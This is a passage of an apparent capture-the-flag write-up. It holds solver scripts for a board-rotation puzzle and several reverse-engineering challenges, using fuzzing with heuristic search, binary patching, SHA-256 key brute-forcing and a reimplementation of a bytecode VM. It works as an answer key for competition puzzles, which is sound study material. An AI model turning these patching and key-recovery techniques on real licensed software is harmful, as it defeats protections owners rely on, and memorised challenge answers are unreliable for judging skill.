	global rs,chrs,cnts
	r.recvuntil('Level %d\n'%id)
	r.recvuntil('Your target:\n')
	r.recvuntil('  ')
	s=r.recvuntil('\n')
	us=s[:]
	m=len(s.strip().split())
	n=0
	req=[]
	while True:
		s=r.recvuntil('\n').decode()
		if len(s)<2:
			break
		n+=1
		req.append(s.strip().split(' ')[1:])
	print(n,m,req)
	r.recvuntil('Current board:\n\n')
	r.recvuntil('\n')
	cur=[]
	for i in range(n):
		s=r.recvuntil('\n').decode()
		cur.append(s.strip().split(' ')[1:])
	print(cur)
	for i in range(n):
		print(' '.join(cur[i]))
	print(r.recvuntil('Enter'))
	print(r.recvuntil(': '))

def rotx(x,u=None):
		global rs
		if x in chrs:
			rs.append(chrs[x])
		else:
			rs.append(chr(x+65))
		for T in range(cnts[x]):
			t=cur[x]
			cur[x]=t[1:]+t[:1]
			if u is not None:
				for t in u:
					if t[0]==x:
						t[1]=(t[1]-1)%m

def roty(y,u=None):
		global rs
		if -y-1 in chrs:
			rs.append(chrs[-y-1])
		else:
			rs.append(str(y))
		for T in range(cnts[-y-1]):
			t=cur[0][y]
			for i in range(n-1):
				cur[i][y]=cur[i+1][y]
			cur[n-1][y]=t
			if u is not None:
				for t in u:
					if t[1]==y:
						t[0]=(t[0]-1)%n
	
	t=[]
	for i in range(n):
		t.append(chr(i+65))
	for i in range(m):
		t.append(str(i))
	if id==5:
		t=[]
		for i in range(n):
			t.append(chr(i+65))
		random.shuffle(t)
		for i in range(n):
			chrs[i]=t[i]
		t=[]
		for i in range(m):
			t.append(str(i))
		random.shuffle(t)
		for i in range(m):
			chrs[-i-1]=t[i]
	else:
		chrs={}
		cnts={}
		for i in range(-m,n):
			cnts[i]=1
		if id<=3:
			for i in range(n):
				chrs[i]=chr(i+65)
			for i in range(m):
				chrs[-i-1]=str(i)
		else:
			for ch in t:
				#print(ch)
				r.send(ch+'\n')
				while True:
					s=r.recvuntil('\n')
					#print(s,us)
					if s.strip()==us.strip():
						break
				cur2=[]
				for i in range(n):
					s=r.recvuntil('\n').decode()
					cur2.append(s.strip().split(' ')[1:])
				diff=[]
				for i in range(n):
					for j in range(m):
						if cur[i][j]!=cur2[i][j]:
							diff.append((i,j))
				assert len(diff)==n or len(diff)==m
				xs=set();ys=set()
				for i in diff:
					xs.add(i[0])
					ys.add(i[1])
				if len(xs)==1:
					for u in xs:
						x=u
					cnt=0
					while cur!=cur2:
						rotx(x)
						cnt+=1
					assert cnt==1 or (cnt+1)%m==0
					chrs[x]=ch
					cnts[x]=cnt
				else:
					assert len(ys)==1
					for u in ys:
						y=u
					cnt=0
					while cur!=cur2:
						roty(y)
						cnt+=1
					assert cnt==1 or (cnt+1)%n==0
					chrs[-y-1]=ch
					cnts[-y-1]=cnt
				#print(ch,cur)
	print(chrs)
	print(cnts)
	#exit()
	
	rs=[]

def work(x,y,z):
		#x<-y y<-z z<-x y is pivot
		u=[list(x),list(y),list(z)]
		if x[0]==y[0]:
			assert x[1]!=y[1] and y[0]!=z[0] and y[1]==z[1]
			while u[2]!=list(y):
				roty(y[1],u)
			while u[0]!=list(y):
				rotx(y[0],u)
			while u[0]!=list(z):
				roty(y[1],u)
			while u[2]!=list(y):
				rotx(y[0],u)
		else:
			assert x[1]==y[1] and y[0]==z[0] and y[1]!=z[1]
			while u[2]!=list(y):
				rotx(y[0],u)
			while u[0]!=list(y):
				roty(y[1],u)
			while u[0]!=list(z):
				rotx(y[0],u)
			while u[2]!=list(y):
				roty(y[1],u)

for i in range(n-1):
		for j in range(m):
			if i==n-2 and j==m-1:
				break
			for k in range(n):
				for l in range(m):
					if req[i][j]==cur[k][l]:
						x=k;y=l
						break
			if i==x and j==y:
				continue
			if i!=x and j!=y:
				assert x>i
				work((x,y),(x,j),(i,j))
			elif i==x:
				t=0
				while j==t or y==t:
					t+=1
				work((x,y),(x+1,y),(x+1,t))
				work((x+1,t),(x+1,j),(i,j))
			else:
				assert j==y
				if i!=n-2:
					t=1 if y==0 else 0
					u=n-1 if x!=n-1 else n-2
					work((x,y),(u,y),(u,t))
					work((u,t),(u,y),(i,j))
				else:
					work((x,y),(x,y+1),(i,y+1))
					x=i;y+=1
					t=0
					while j==t or y==t:
						t+=1
					work((x,y),(x+1,y),(x+1,t))
					work((x+1,t),(x+1,j),(i,j))
			#print(i,j,cur)
			assert cur[i][j]==req[i][j]
	#print(cur)
	for i in range(m-1):
		for k in range(n):
			for l in range(m):
				if req[n-1][i]==cur[k][l]:
					x=k;y=l
					break
		if n-1==x and i==y:
			continue
		if x==n-1 and y==m-1:
			work((n-1,i),(x,y),(n-2,m-1))
			continue
		if x==n-1:
			work((x,y),(x,m-1),(n-2,m-1))
			x=n-2
			y=m-1
		assert x==n-2 and y==m-1
		work((x,y),(n-1,y),(n-1,i))
		#print(i,cur)
	print(cur)
	#print(rs)
	#exit()

ST=10000
	for i in range(0,len(rs),ST):
		r.send(','.join(rs[i:i+ST])+'\n')
		if i+ST>=len(rs):
			#r.interactive()
			#exit()
			break
		print(r.recvuntil('Enter'))
		print(r.recvuntil(': '))

for i in range(1,6):
	print('work_level:',i)
	work_level(i)
#r.interactive()
print(r.recvuntil('\n'))
tt=r.recv(10)
print(tt)
if tt==b'Enter 0-3 ':
	exit()
r.interactive()
```

# Rev

## baby bear

If we change some position of input, some suffix of the output will change.

So we can fuzz it. (In fact, it's bfs or maybe A*)

```python
import pexpect,heapq

def work(s):
	p=pexpect.spawn(['./baby_bear_bak'])
	p.read(613)
	p.write(s+b'\n')
	res=p.read(100)
	t=res.find(b'\r\n')
	return res[t+2:t+48]

def bitxor(s,x):
	xt=x>>3
	return s[:xt]+bytes([s[xt]^(1<<(x&7))])+s[xt+1:]

target=b'1100011010101011000100101011000101001011111000'

def cal(s):
	t=work(s)
	c=0
	while c<46 and target[c]==t[c]:
		c+=1
	return c

def u(x,y):
	return x-y*2.5

st=b'0'*16
sc=cal(st)
q=[(u(0,sc),sc,0,st)]
while True:
	tt,sc,cur,s=heapq.heappop(q)
	print(sc,cur,s)
	if sc==46:
		print()
		print(s.decode()[:-2])
		break
	t=bitxor(s,cur)
	flag=True
	for i in t:
		if i<32 or i>127:
			flag=False
	if flag:
		ns=cal(t)
		heapq.heappush(q,(u(cur+1,ns),ns,cur+1,t))
	heapq.heappush(q,(u(cur+1,sc),sc,cur+1,s))

```

## papa bear

It shows similar features to baba bear, so we can also fuzz.

```python
import os,pexpect,heapq

def uu(s):
	r=''
	for i in s:
		if i=='M':
			r+='0'
		elif i=='W':
			r+='1'
	return r

def work(s):
	#p=pexpect.spawn('./papa_bear '+s.decode())
	os.system('./papa_bear "'+s.decode().replace('\\','\\\\').replace('"','\\"').replace('`','\\`')+'" 0>out.txt')
	return uu(open('out.txt').read())

def bitxor(s,x):
	xt=x>>3
	return s[:xt]+bytes([s[xt]^(1<<(x&7))])+s[xt+1:]

#print(work('1231231231231234'))
#print(work(b'\0'*16))
#print(work(bitxor(b'\0'*16,10)))

target=uu(open('sample.txt').read())
print(len(target),target)
print(len(work(b'0'*100)))

def cal(s):
	t=work(s)
	c=0
	while c<275 and target[c]==t[c]:
		c+=1
	return c

def u(x,y):
	return x-y*2
	#return -y

st=b'HackTM{F4th3r b'+b'0'*80
sc=cal(st)
q=[(u(0,sc),sc,0,st)]
L=4
while True:
	tt,sc,cur,s=heapq.heappop(q)
	print(sc,cur,s)
	if sc==275:
		print()
		print(s.decode()[:-2])
		break
	for j in range(1,1<<L):
		t=s
		for k in range(L):
			if j>>k&1:
				t=bitxor(t,cur+k)
		flag=True
		for i in t:
			if i<32 or i>126:
				flag=False
		if flag:
			ns=cal(t)
			heapq.heappush(q,(u(cur+L,ns),ns,cur+L,t))
	heapq.heappush(q,(u(cur+L,sc),sc,cur+L,s))

```

## hackdex

The binary translates words from a dictionary, and there's an hidden option 9.

That requires pro user, and we patched it at 0xec64.

The option 9 requires 6 words, and checks them using `contains_key`. Then it connects these words and checks their sha256, and finally use it as the key of chacha to get the flag.

However, these hash tables were empty, so it's difficult to know which words are required.

Then the hint gives the Boggle game, and https://github.com/AmokHuginnsson/boggle-solvers/blob/master/solve.py tells us the rules.

So we can find the words for the 6 groups.

```
char s0[C0][9]={"ear","lea","ina","rae","ran","air","rig","inn","ann","gin","zen","ira","ian","ria","raze","rain","rani","anne","ring","nine","naze","earn","lean","lear","near","iran","rang","arnel","learn","enring","earing","leaning","learning"};
char s1[C1][9]={"rut","tui","ilk","run","nub","urn","kif","uri","but","nut","fur","fun","tub","bun","bur","tun","fir","urb","rub","tur","rif","turn","burn","turf","fril","klut","bulk"};
char s2[C2][9]={"red","ref","fed","end","per","ina","pre","pea","and","ape","dan","pan","den","ned","ire","pad","nap","dap","fen","rep","ind","pen","pend","edna","dane","erin","dean","reap","read","rein","pean","nape","fern","rend","rena","rind","pane","deni","fend","redan","fried","freda","upend","repand","friend","pander","frieda"};
char s3[C3][9]={"neb","ten","tea","hen","wen","vex","net","men","twx","mae","bet","hew","tew","new","the","web","man","hex","vet","ham","wet","name","benz","amen","newt","team","then","bean","beam","anet","than","mane","anew","hebe","next","wean","thane","enema","ethane"};
char s4[C4][11]={"cur","nor","rum","iou","nim","rue","con","cor","cog","cox","ore","cou","roc","ron","our","nog","gon","cue","vum","ion","rev","com","coin","crux","goum","core","over","ovum","roux","gore","more","mure","omni","cure","roue","oxon","minor","incog","incur","curve","cumin","coming","incurve","overcoming"};
char s5[C5][9]={"ass","nil","ali","oap","iso","alp","spa","oil","sal","asp","ila","sos","ion","lap","sap","pal","sin","son","lisp","slap","also","laos","soap","pass","lion","lino","sion","pali","lass","noil","zion","soil","silas","lasso","passion"};

```

Then just brute force the sha256.

```c++
#include<bits/stdc++.h>

typedef unsigned int uint;
typedef long long ll;
typedef unsigned long long ull;
typedef double lf;
typedef long double llf;
typedef std::pair<int,int> pii;

#define xx first
#define yy second

template<typename T> inline T max(T a,T b){return a>b?a:b;}
template<typename T> inline T min(T a,T b){return a<b?a:b;}
template<typename T> inline T abs(T a){return a>0?a:-a;}
template<typename T> inline bool repr(T &a,T b){return a<b?a=b,1:0;}
template<typename T> inline bool repl(T &a,T b){return a>b?a=b,1:0;}
template<typename T> inline T gcd(T a,T b){T t;if(a<b){while(a){t=a;a=b%a;b=t;}return b;}else{while(b){t=b;b=a%b;a=t;}return a;}}
template<typename T> inline T sqr(T x){return x*x;}
#define mp(a,b) std::make_pair(a,b)
#define pb push_back
#define I __attribute__((always_inline))inline
#define mset(a,b) memset(a,b,sizeof(a))
#define mcpy(a,b) memcpy(a,b,sizeof(a))

#define fo0(i,n) for(int i=0,i##end=n;i<i##end;i++)
#define fo1(i,n) for(int i=1,i##end=n;i<=i##end;i++)
#define fo(i,a,b) for(int i=a,i##end=b;i<=i##end;i++)
#define fd0(i,n) for(int i=(n)-1;~i;i--)
#define fd1(i,n) for(int i=n;i;i--)
#define fd(i,a,b) for(int i=a,i##end=b;i>=i##end;i--)
#define foe(i,x)for(__typeof((x).end())i=(x).begin();i!=(x).end();++i)
#define fre(i,x)for(__typeof((x).rend())i=(x).rbegin();i!=(x).rend();++i)

struct Cg{I char operator()(){return getchar();}};
struct Cp{I void operator()(char x){putchar(x);}};
#define OP operator
#define RT return *this;
#define UC unsigned char
#define RX x=0;UC t=P();while((t<'0'||t>'9')&&t!='-')t=P();bool f=0;\
if(t=='-')t=P(),f=1;x=t-'0';for(t=P();t>='0'&&t<='9';t=P())x=x*10+t-'0'
#define RL if(t=='.'){lf u=0.1;for(t=P();t>='0'&&t<='9';t=P(),u*=0.1)x+=u*(t-'0');}if(f)x=-x
#define RU x=0;UC t=P();while(t<'0'||t>'9')t=P();x=t-'0';for(t=P();t>='0'&&t<='9';t=P())x=x*10+t-'0'
#define TR *this,x;return x;
I bool IS(char x){return x==10||x==13||x==' ';}template<typename T>struct Fr{T P;I Fr&OP,(int&x)
{RX;if(f)x=-x;RT}I OP int(){int x;TR}I Fr&OP,(ll &x){RX;if(f)x=-x;RT}I OP ll(){ll x;TR}I Fr&OP,(char&x)
{for(x=P();IS(x);x=P());RT}I OP char(){char x;TR}I Fr&OP,(char*x){char t=P();for(;IS(t);t=P());if(~t){for(;!IS
(t)&&~t;t=P())*x++=t;}*x++=0;RT}I Fr&OP,(lf&x){RX;RL;RT}I OP lf(){lf x;TR}I Fr&OP,(llf&x){RX;RL;RT}I OP llf()
{llf x;TR}I Fr&OP,(uint&x){RU;RT}I OP uint(){uint x;TR}I Fr&OP,(ull&x){RU;RT}I OP ull(){ull x;TR}};Fr<Cg>in;
#define WI(S) if(x){if(x<0)P('-'),x=-x;UC s[S],c=0;while(x)s[c++]=x%10+'0',x/=10;while(c--)P(s[c]);}else P('0')
#define WL if(y){lf t=0.5;for(int i=y;i--;)t*=0.1;if(x>=0)x+=t;else x-=t,P('-');*this,(ll)(abs(x));P('.');if(x<0)\
x=-x;while(y--){x*=10;x-=floor(x*0.1)*10;P(((int)x)%10+'0');}}else if(x>=0)*this,(ll)(x+0.5);else *this,(ll)(x-0.5);
#define WU(S) if(x){UC s[S],c=0;while(x)s[c++]=x%10+'0',x/=10;while(c--)P(s[c]);}else P('0')
template<typename T>struct Fw{T P;I Fw&OP,(int x){WI(10);RT}I Fw&OP()(int x){WI(10);RT}I Fw&OP,(uint x){WU(10);RT}
I Fw&OP()(uint x){WU(10);RT}I Fw&OP,(ll x){WI(19);RT}I Fw&OP()(ll x){WI(19);RT}I Fw&OP,(ull x){WU(20);RT}I Fw&OP()
(ull x){WU(20);RT}I Fw&OP,(char x){P(x);RT}I Fw&OP()(char x){P(x);RT}I Fw&OP,(const char*x){while(*x)P(*x++);RT}
I Fw&OP()(const char*x){while(*x)P(*x++);RT}I Fw&OP()(lf x,int y){WL;RT}I Fw&OP()(llf x,int y){WL;RT}};Fw<Cp>out;

#include "picosha2.h"
#include "omp.h"

const int C0=33,C1=27,C2=47,C3=39,C4=44,C5=35;

const unsigned char req[33]={191, 215, 169, 38, 6, 20, 158, 102, 23, 156, 141, 6, 168, 186, 80, 245, 135, 162, 150, 225, 107, 64, 252, 16, 89, 235, 42, 102, 102, 10, 239, 19};

char s0[C0][9]={"ear","lea","ina","rae","ran","air","rig","inn","ann","gin","zen","ira","ian","ria","raze","rain","rani","anne","ring","nine","naze","earn","lean","lear","near","iran","rang","arnel","learn","enring","earing","leaning","learning"};
char s1[C1][9]={"rut","tui","ilk","run","nub","urn","kif","uri","but","nut","fur","fun","tub","bun","bur","tun","fir","urb","rub","tur","rif","turn","burn","turf","fril","klut","bulk"};
char s2[C2][9]={"red","ref","fed","end","per","ina","pre","pea","and","ape","dan","pan","den","ned","ire","pad","nap","dap","fen","rep","ind","pen","pend","edna","dane","erin","dean","reap","read","rein","pean","nape","fern","rend","rena","rind","pane","deni","fend","redan","fried","freda","upend","repand","friend","pander","frieda"};
char s3[C3][9]={"neb","ten","tea","hen","wen","vex","net","men","twx","mae","bet","hew","tew","new","the","web","man","hex","vet","ham","wet","name","benz","amen","newt","team","then","bean","beam","anet","than","mane","anew","hebe","next","wean","thane","enema","ethane"};
char s4[C4][11]={"cur","nor","rum","iou","nim","rue","con","cor","cog","cox","ore","cou","roc","ron","our","nog","gon","cue","vum","ion","rev","com","coin","crux","goum","core","over","ovum","roux","gore","more","mure","omni","cure","roue","oxon","minor","incog","incur","curve","cumin","coming","incurve","overcoming"};
char s5[C5][9]={"ass","nil","ali","oap","iso","alp","spa","oil","sal","asp","ila","sos","ion","lap","sap","pal","sin","son","lisp","slap","also","laos","soap","pass","lion","lino","sion","pali","lass","noil","zion","soil","silas","lasso","passion"};

#define A(t) int c##t=c;for(char*i=s##t[x##t];*i;i++)tmp[c++]=*i;
#define D(t) c=c##t;

void work(int x0,int x1)
{
	char tmp[105];
	int c=0;
	A(0);
	A(1);
	fo0(x2,C2)
	{
		A(2);
		fo0(x3,C3)
		{
			A(3);
			fo0(x4,C4)
			{
				A(4);
				fo0(x5,C5)
				{
					A(5);
					unsigned char res[picosha2::k_digest_size+1];
					picosha2::hash256(tmp,tmp+c,res,res+picosha2::k_digest_size);
					//std::string hex_str = picosha2::bytes_to_hex_string(res,res+picosha2::k_digest_size);
					//std::cout<<hex_str<<std::endl;
					//out,c,'\n';
					if(res[0]==191)//req[0]
					{
						fo1(i,31)if(res[i]!=req[i])goto naive;
						printf("%d %d %d %d %d %d\n",x0,x1,x2,x3,x4,x5);
						fprintf(stderr,"%d %d %d %d %d %d\n",x0,x1,x2,x3,x4,x5);
						naive:;
					}
					//fo0(i,c)putchar(tmp[i]);puts("");
					//fo0(i,picosha2::k_digest_size)printf("%02x",res[i]);puts("");
					//cnt+=c;
					D(5);
				}
				D(4);
			}
			D(3);
		}
		D(2);
	}
	out,x0,' ',x1,'\n';
}

int main()
{
	omp_set_num_threads(24);
#pragma omp parallel for
	for(int i=0;i<C0*C1;i++)
		work(i%C0,i/C0);
}

```

The final key is `learningfunfriendteamovercomingpassion`, then we patched `contains_key`, input these keys into the binary, then we got the flag.

## mama bear

It generates x86 instructions from some byte code and given key.

Here's some python equivalent.

```python
code = '#0#:#4#8#N#<#L#J#D#@#B#F#2#>#H#6!CBKMNLHOIAJ@DFGE?8:67=<>93;1452-4-:-8-2-F-6-B-L-H-J->-<-D-@-ND&-D-E@&-@-AB&-B-CF&-F-GN&-N-O:&-:-;L&-L-M<&-<-=0&-0-1>&->-?6&-6-72&-2-34&-4-58&-8-9J&-J-KH&-H-I!8:5>;=91?072634<CEM@IBJKLAGNFDH-A-9-=-M-?-3-I-G-E-5-C-1-K-;-77&-7-6G&-G-FI&-I-HC&-C-BK&-K-JA&-A-@O&-O-N1&-1-0M&-M-L=&-=-<5&-5-49&-9-83&-3-2E&-E-D;&-;-:?&-?->!L7>-L->-76<H?N3-6-3-N-?-H-<K9B-K-B-9=J;FCI-=-I-C-F-;-J8@O124-8-4-2-1-O-@M5:DGA-M-A-G-D-:-5A@&-@-AIH&-H-I98&-8-9GF&-F-G;:&-:-;76&-6-7ON&-N-OKJ&-J-K54&-4-5ML&-L-M32&-2-3ED&-D-E10&-0-1?>&->-?=<&-<-=CB&-B-C!C7@1LI-C-I-L-1-@-74F=-4-=-FKG?0NM-K-M-N-0-?-GHA3-H-3-A5D9<6B-5-B-6-<-9-DJE;8>2-J-2->-8-;-EFG&-G-FNO&-O-NBC&-C-BDE&-E-D@A&-A-@67&-7-689&-9-8<=&-=-<JK&-K-J01&-1-0HI&-I-H45&-5-423&-3-2LM&-M-L>?&-?->:;&-;-:!JKFEH@IMCGANLDOB<9;5>728:=463?1-2-N-6-<-8-J-D-@-4->-L-:-F-B-HJ&-J-K0&-0-1F&-F-G6&-6-72&-2-3L&-L-M@&-@-AH&-H-I4&-4-5<&-<-=N&-N-O>&->-?D&-D-EB&-B-C8&-8-9:&-:-;!862:>1?3;=<47950JMFHENDC@ILABKG-?-G-5-3-I-C-1-7-9-M-;-A-=-K-EO&-O-NE&-E-D=&-=-<A&-A-@G&-G-F7&-7-65&-5-49&-9-8I&-I-H1&-1-0M&-M-L3&-3-2;&-;-:K&-K-JC&-C-B?&-?->!L7>-L->-7I=J;FC-I-C-F-;-J-=9BK-9-K-B5:DGAM-5-M-A-G-D-:1248@O-1-O-@-8-4-236<H?N-3-N-?-H-<-610&-0-154&-4-5?>&->-?ON&-N-OGF&-F-GA@&-@-A32&-2-3ED&-D-E;:&-:-;CB&-B-CIH&-H-IKJ&-J-KML&-L-M=<&-<-=98&-8-976&-6-7!<6B5D9-<-9-D-5-B-6HA3-H-3-A4F=-4-=-F7@1LIC-7-C-I-L-1-@G?0NMK-G-K-M-N-0-?>2JE;8->-8-;-E-J-2HI&-I-HJK&-K-J01&-1-0<=&-=-<LM&-M-LFG&-G-F67&-7-645&-5-4@A&-A-@>?&-?->89&-9-8DE&-E-DBC&-C-BNO&-O-N23&-3-2:;&-;-:#2#B#F#4#0#8#>#D#@#H#L#N#:#J#6#<!'

pwd = iter([5,ord('X'),0,0,0,0,0,0,ord('W')])
secret=list(map(lambda x:int(x,16),'0E 8D 8E 0E 67 4E E5 E5 8E EE 2E 8D 8C AE 45 CE 6D EC A5 ED EE 8B 4E AE 0E 0E 8C AD 64 0E 86 67'.split(' ')))
usecret=list(range(48,80))
assert len(usecret)==32
pwd_bytes=[0]*4

def proc_pwd_byte(pwd_byte):
	four_byte_table=[1,2,3,0]
	pwd_bytes[0] = four_byte_table[pwd_byte & 3]
	four_byte_table = four_byte_table[:pwd_byte & 3] + four_byte_table[(pwd_byte & 3)+1:]
	t=(pwd_byte>>2)%3
	pwd_bytes[1] = four_byte_table[t]
	four_byte_table = four_byte_table[:t] + four_byte_table[t+1:]
	t=(pwd_byte//12)%2
	pwd_bytes[2] = four_byte_table[t]
	four_byte_table = four_byte_table[:t] + four_byte_table[t+1:]
	pwd_bytes[3] = four_byte_table[0]

pc=0
def get():
	global pc
	r=code[pc]
	pc+=1
	return ord(r)

stack=[]

def pop():
	global stack
	r=stack[-1]
	stack=stack[:-1]
	return r

def ror(x,y):
	a=secret[x+1]*256+secret[x]
	a=(a>>y)|((a&((1<<y)-1))<<(16-y))
	secret[x+1]=a>>8
	secret[x]=a&255

def rol(x,y):
	return (x<<y&255)|(x>>(8-y))

def push(x):
	stack.append(x)

def speco(a):
	b=a>>8
	a=a&0xff
	for i in range(8):
		y = b&1
		x = a&1
		v7 = pwd_bytes[y*2+x]>>1
		v6 = pwd_bytes[y*2+x]&1
		b = rol(v7|(b&0xfe), 1)
		a = rol(v6|(a&0xfe), 1)
	return a<<8|b

def spec():
	a=pop()
	b=pop()
	t=speco(b<<8|a)
	b=t>>8
	a=t&255
	push(b)
	push(a)

def cpu():
	cur=next(pwd)
	proc_pwd_byte(cur)
	while True:
		op=get()
		if op==0x26:
			spec()
		elif op==0x21: # !
			break
		elif op==0x2d: # -
			secret[get()-0x30]=pop()&255
		elif op==0x23: # #
			fr = get() - 0x30
			ror(fr,cur&7)
		else:
			assert op <= 0x30 + 0x2B
			push(secret[op-0x30])
	pass

cpu()
print(''.join(map(chr,usecret)))
secret=usecret

for i in range(8):
	cpu()

s=''
for i in range(16):
	s+='%02x'%secret[i]
print(s)
s=''
for i in range(16,32):
	s+='%02x'%secret[i]
print(s)
```

Each digit of the key is used twice, once be modulo 24, once be modulo 8. So there are only $24^6=191102976$ different keys.

We can just enumerate the key and solve the equation.

```cpp
#include<bits/stdc++.h>

typedef unsigned int uint;
typedef long long ll;
typedef unsigned long long ull;
typedef double lf;
typedef long double llf;
typedef std::pair<int,int> pii;

#define xx first
#define yy second

template<typename T> inline T max(T a,T b){return a>b?a:b;}
template<typename T> inline T min(T a,T b){return a<b?a:b;}
template<typename T> inline T abs(T a){return a>0?a:-a;}
template<typename T> inline bool repr(T &a,T b){return a<b?a=b,1:0;}
template<typename T> inline bool repl(T &a,T b){return a>b?a=b,1:0;}
template<typename T> inline T gcd(T a,T b){T t;if(a<b){while(a){t=a;a=b%a;b=t;}return b;}else{while(b){t=b;b=a%b;a=t;}return a;}}
template<typename T> inline T sqr(T x){return x*x;}
#define mp(a,b) std::make_pair(a,b)
#define pb push_back
#define I __attribute__((always_inline))inline
#define mset(a,b) memset(a,b,sizeof(a))
#define mcpy(a,b) memcpy(a,b,sizeof(a))

#define fo0(i,n) for(int i=0,i##end=n;i<i##end;i++)
#define fo1(i,n) for(int i=1,i##end=n;i<=i##end;i++)
#define fo(i,a,b) for(int i=a,i##end=b;i<=i##end;i++)
#define fd0(i,n) for(int i=(n)-1;~i;i--)
#define fd1(i,n) for(int i=n;i;i--)
#define fd(i,a,b) for(int i=a,i##end=b;i>=i##end;i--)
#define foe(i,x)for(__typeof((x).end())i=(x).begin();i!=(x).end();++i)
#define fre(i,x)for(__typeof((x).rend())i=(x).rbegin();i!=(x).rend();++i)

struct Cg{I char operator()(){return getchar();}};
struct Cp{I void operator()(char x){putchar(x);}};
#define OP operator
#define RT return *this;
#define UC unsigned char
#define RX x=0;UC t=P();while((t<'0'||t>'9')&&t!='-')t=P();bool f=0;\
if(t=='-')t=P(),f=1;x=t-'0';for(t=P();t>='0'&&t<='9';t=P())x=x*10+t-'0'
#define RL if(t=='.'){lf u=0.1;for(t=P();t>='0'&&t<='9';t=P(),u*=0.1)x+=u*(t-'0');}if(f)x=-x
#define RU x=0;UC t=P();while(t<'0'||t>'9')t=P();x=t-'0';for(t=P();t>='0'&&t<='9';t=P())x=x*10+t-'0'
#define TR *this,x;return x;
I bool IS(char x){return x==10||x==13||x==' ';}template<typename T>struct Fr{T P;I Fr&OP,(int&x)
{RX;if(f)x=-x;RT}I OP int(){int x;TR}I Fr&OP,(ll &x){RX;if(f)x=-x;RT}I OP ll(){ll x;TR}I Fr&OP,(char&x)
{for(x=P();IS(x);x=P());RT}I OP char(){char x;TR}I Fr&OP,(char*x){char t=P();for(;IS(t);t=P());if(~t){for(;!IS
(t)&&~t;t=P())*x++=t;}*x++=0;RT}I Fr&OP,(lf&x){RX;RL;RT}I OP lf(){lf x;TR}I Fr&OP,(llf&x){RX;RL;RT}I OP llf()
{llf x;TR}I Fr&OP,(uint&x){RU;RT}I OP uint(){uint x;TR}I Fr&OP,(ull&x){RU;RT}I OP ull(){ull x;TR}};Fr<Cg>in;
#define WI(S) if(x){if(x<0)P('-'),x=-x;UC s[S],c=0;while(x)s[c++]=x%10+'0',x/=10;while(c--)P(s[c]);}else P('0')
#define WL if(y){lf t=0.5;for(int i=y;i--;)t*=0.1;if(x>=0)x+=t;else x-=t,P('-');*this,(ll)(abs(x));P('.');if(x<0)\
x=-x;while(y--){x*=10;x-=floor(x*0.1)*10;P(((int)x)%10+'0');}}else if(x>=0)*this,(ll)(x+0.5);else *this,(ll)(x-0.5);
#define WU(S) if(x){UC s[S],c=0;while(x)s[c++]=x%10+'0',x/=10;while(c--)P(s[c]);}else P('0')
template<typename T>struct Fw{T P;I Fw&OP,(int x){WI(10);RT}I Fw&OP()(int x){WI(10);RT}I Fw&OP,(uint x){WU(10);RT}
I Fw&OP()(uint x){WU(10);RT}I Fw&OP,(ll x){WI(19);RT}I Fw&OP()(ll x){WI(19);RT}I Fw&OP,(ull x){WU(20);RT}I Fw&OP()
(ull x){WU(20);RT}I Fw&OP,(char x){P(x);RT}I Fw&OP()(char x){P(x);RT}I Fw&OP,(const char*x){while(*x)P(*x++);RT}
I Fw&OP()(const char*x){while(*x)P(*x++);RT}I Fw&OP()(lf x,int y){WL;RT}I Fw&OP()(llf x,int y){WL;RT}};Fw<Cp>out;

const char code[]="#0#:#4#8#N#<#L#J#D#@#B#F#2#>#H#6!CBKMNLHOIAJ@DFGE?8:67=<>93;1452-4-:-8-2-F-6-B-L-H-J->-<-D-@-ND&-D-E@&-@-AB&-B-CF&-F-GN&-N-O:&-:-;L&-L-M<&-<-=0&-0-1>&->-?6&-6-72&-2-34&-4-58&-8-9J&-J-KH&-H-I!8:5>;=91?072634<CEM@IBJKLAGNFDH-A-9-=-M-?-3-I-G-E-5-C-1-K-;-77&-7-6G&-G-FI&-I-HC&-C-BK&-K-JA&-A-@O&-O-N1&-1-0M&-M-L=&-=-<5&-5-49&-9-83&-3-2E&-E-D;&-;-:?&-?->!L7>-L->-76<H?N3-6-3-N-?-H-<K9B-K-B-9=J;FCI-=-I-C-F-;-J8@O124-8-4-2-1-O-@M5:DGA-M-A-G-D-:-5A@&-@-AIH&-H-I98&-8-9GF&-F-G;:&-:-;76&-6-7ON&-N-OKJ&-J-K54&-4-5ML&-L-M32&-2-3ED&-D-E10&-0-1?>&->-?=<&-<-=CB&-B-C!C7@1LI-C-I-L-1-@-74F=-4-=-FKG?0NM-K-M-N-0-?-GHA3-H-3-A5D9<6B-5-B-6-<-9-DJE;8>2-J-2->-8-;-EFG&-G-FNO&-O-NBC&-C-BDE&-E-D@A&-A-@67&-7-689&-9-8<=&-=-<JK&-K-J01&-1-0HI&-I-H45&-5-423&-3-2LM&-M-L>?&-?->:;&-;-:!JKFEH@IMCGANLDOB<9;5>728:=463?1-2-N-6-<-8-J-D-@-4->-L-:-F-B-HJ&-J-K0&-0-1F&-F-G6&-6-72&-2-3L&-L-M@&-@-AH&-H-I4&-4-5<&-<-=N&-N-O>&->-?D&-D-EB&-B-C8&-8-9:&-:-;!862:>1?3;=<47950JMFHENDC@ILABKG-?-G-5-3-I-C-1-7-9-M-;-A-=-K-EO&-O-NE&-E-D=&-=-<A&-A-@G&-G-F7&-7-65&-5-49&-9-8I&-I-H1&-1-0M&-M-L3&-3-2;&-;-:K&-K-JC&-C-B?&-?->!L7>-L->-7I=J;FC-I-C-F-;-J-=9BK-9-K-B5:DGAM-5-M-A-G-D-:1248@O-1-O-@-8-4-236<H?N-3-N-?-H-<-610&-0-154&-4-5?>&->-?ON&-N-OGF&-F-GA@&-@-A32&-2-3ED&-D-E;:&-:-;CB&-B-CIH&-H-IKJ&-J-KML&-L-M=<&-<-=98&-8-976&-6-7!<6B5D9-<-9-D-5-B-6HA3-H-3-A4F=-4-=-F7@1LIC-7-C-I-L-1-@G?0NMK-G-K-M-N-0-?>2JE;8->-8-;-E-J-2HI&-I-HJK&-K-J01&-1-0<=&-=-<LM&-M-LFG&-G-F67&-7-645&-5-4@A&-A-@>?&-?->89&-9-8DE&-E-DBC&-C-BNO&-O-N23&-3-2:;&-;-:#2#B#F#4#0#8#>#D#@#H#L#N#:#J#6#<!";

const int req[32]={139, 164, 9, 150, 8, 129, 251, 171, 103, 110, 126, 74, 71, 68, 119, 112, 179, 101, 213, 124, 24, 97, 105, 40, 107, 47, 6, 77, 11, 67, 75, 246};

const int SG=32*8;

typedef std::bitset<32*8+1>bit;

int to_int(bit*s)
{
	int t=0;
	fo0(j,8)
	{
		t+=(int)s[j][SG]<<j;
	}
	return t;
}

